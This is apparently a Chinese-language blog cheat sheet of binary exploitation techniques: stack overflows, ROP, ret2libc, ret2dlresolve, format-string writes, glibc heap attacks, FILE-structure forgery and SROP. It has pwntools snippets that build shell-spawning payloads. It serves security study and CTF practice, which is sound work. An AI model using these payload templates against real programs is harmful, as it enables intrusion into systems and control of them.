pwn漏洞利用手法汇总

luyanpei

1. 栈溢出(Stack Overflow)

  1. 简单的 ret 控制流

    • 利用函数 gets()/strcpy() 等读入超过缓冲区大小的数据,覆盖保存的 RIP

    • Payload 结构:

      1
      [ padding to saved RBP ] [ saved RBP overwrite ] [ new RIP ]
    • 示例:

      1
      2
      3
      4
      5
      6
      void vuln() {
      char buf[64];
      gets(buf);
      }
      // 溢出 64 字节 + 8 字节 RBP,然后覆盖 RIP
      payload = b"A"*72 + p64(0x400570);
  2. ROP (Return-Oriented Programming)

    • 目的:在开启 NX (DEP)时,无法执行栈上 shellcode,只能“串”现有代码片段(Gadget)形成链。

    • Gadget 搜集

      1
      2
      ROPgadget --binary target_binary --only "pop|ret"
      rp++ target_binary
    • 链构造

      1
      2
      3
      4
      5
      rop = ROP(elffile)
      rop.raw(b"A"*offset)
      rop.call(elffile.plt['puts'], [elf.got['puts']])
      rop.call(elffile.symbols['main'])
      payload = rop.chain()
  3. ret2libc

    • 思路:通过泄漏 libc 中函数地址,算出 system()"/bin/sh" 在内存中的偏移,再覆盖 RIP 跳到 system
    • 流程
      1. ROP 调用 puts(puts@got) → 泄漏 libc 基址。
      2. 计算 system = libc_base + offset_systembinsh = libc_base + offset_str_sh
      3. 再次溢出,ROP → system(binsh)
  4. ret2dlresolve

    • 用途:当 binary 没有 system 或你想不修改 GOT,只能借助动态链接器 _dl_runtime_resolve 构造符号解析。

    • 核心:构造假的 .rel.plt/.dynsym/.dynstr 结构体片段,ROP 跳到 _dl_runtime_resolve,让它解析并调用任意函数。

    • 代码片段(pwntools 自动化):

      1
      2
      3
      4
      5
      6
      7
      from pwn import *
      dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
      rop = ROP(elf)
      rop.raw(b"A"*offset)
      rop.call(elf.symbols['read'], [0, dlresolve.data_addr, len(dlresolve.data)])
      rop.call(dlresolve.resolve_addr)
      payload = rop.chain() + dlresolve.data

2. 格式化字符串(Format String)

  1. %p 和 %n 原理

    • %p:打印栈上指针,泄漏地址。
    • %n:将到目前写入的字节数写入对应参数指向的地址,可任意写。
  2. 任意读写

    • 泄漏阶段:%7$p, %9$p 等确定栈上偏移。

    • 写入阶段(任意地址写一个字节或两字节):

      1
      printf("%[num]c%[offset]$hhn", value, addr_ptr);
  3. GOT 重写

    • 利用 %n 将 GOT 中的函数入口(如 exit@got)重写为 system@plt → 执行 system("/bin/sh")
  4. 复杂 payload 拼接

    • 分多次写不同字节,每次用精准的 %c 调整数值。
    • 常用工具:fmtstr_payload(pwntools)自动化生成写任意 64 位地址的字符串。

3. 堆漏洞(Heap Exploitation)

  1. glibc malloc 内部结构
    • Fastbins:大小 ≤ 0x80,LIFO 快速分配。
    • Tcache(glibc 2.26+):每个 size-class 最多缓存 7 个 chunk。
    • Unsorted BinSmall BinLarge Bin:更大或过期的 chunk 流转。
  2. 常见利用手法
    • tcache poisoning
      1. free(A); free(B); free(A); → A 双重入 tcache。
      2. 修改 A 的 fd 指向目标地址 X
      3. malloc(A); malloc(A); malloc(A); → 第三次返回 X,可写任意位置。
    • House of Force
      • 利用 top chunk 大小无限,调整 brk 到任意位置再 malloc 得到任意地址。
    • House of Spirit
      • 在数据区伪造一个可用 chunk header,把它的地址当作 free chunk,free(fake_ptr) → 往任何地址写入到 tcache。
    • 其他 “House of …”
      • House of Lore:用 small bin 的伪造控制,写任意两字位置数据。
      • House of Orange:在 unsorted bin 用 io_list_all 伪造,触发 FILE vtable 利用。
      • House of Einherjar:结合 tcache, fastbin, unsorted bin 等混合利用。
    • off-by-one / overlap chunk
      • 越界 1 字节改 size 字段,伪装相邻 chunk 大小,造成合并后可写。
    • double free
      • 未正确检测重复 free,导致 tcache 或 fastbin 污染。
    • use-after-free
      • free 后继续使用指针,配合覆盖 chunk header 改变下次分配。

4. 文件流 & FILE 结构利用(_IO_FILE Exploitation)

  • 核心:glibc 的 FILE 结构(_IO_FILE_plus)有 vtable 和函数指针,可伪造 _IO_list_all 链表或 vtable 指针,触发垂死攻击。

  • 典型流程

    1. 泄漏 libc 地址后,计算 _IO_list_all_IO_str_overflowsystem 等偏移。

    2. 在堆上伪造一个 _IO_FILE 结构:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      struct _IO_FILE fake = {
      ._flags = 0,
      ._IO_read_ptr = 0,
      ._IO_write_base = 1, // non-zero
      ._IO_write_ptr = 0,
      .vtable_offset = 0,
      ._IO_buf_base = (char*)system,
      ._IO_buf_end = "/bin/sh",
      .vtable = _IO_str_jumps + 0x20 // 指向 _IO_overflow
      };
    3. 将这个 fake 文件结构地址写入 _IO_list_all

    4. 调用 exit()abort() 时,glibc 会遍历 _IO_list_all,执行 vtable 指针,跳转到 system("/bin/sh")


5. 信号 & SROP(Sigreturn-Oriented Programming)

  • 原理:利用 sigreturn 系统调用,恢复自定义的 ucontext 结构,从而修改寄存器(包括 RIPRSPRAX)并进行 syscalls。

  • 步骤

    1. 准备:溢出控制 RSP,让栈指向你构造的 fake sigframe
    2. 触发 sigreturn:构造 ROP,执行 syscall; ret,此时 RAX=15(__NR_sigreturn),CPU 会将栈上的 fake frame 恢复到上下文。
    3. 执行自定义 syscalls:在 fake frame 中设置 RAX=59(execve)RDI=ptr("/bin/sh")RSI=0RDX=0,并让 RIP 指向 syscall,即可获得 shell。
  • 示例(pwntools 自动):

    1
    2
    3
    4
    5
    6
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve
    frame.rdi = binsh_addr
    frame.rsi = 0
    frame.rdx = 0
    payload = b"A"*offset + p64(syscall_ret) + bytes(frame)
  • Title: pwn漏洞利用手法汇总
  • Author: luyanpei
  • Created at : 2025-05-09 18:07:05
  • Updated at : 2025-05-09 18:49:36
  • Link: https://redefine.ohevan.com/2025/05/09/漏洞利用手法汇总/
  • License: All Rights Reserved © luyanpei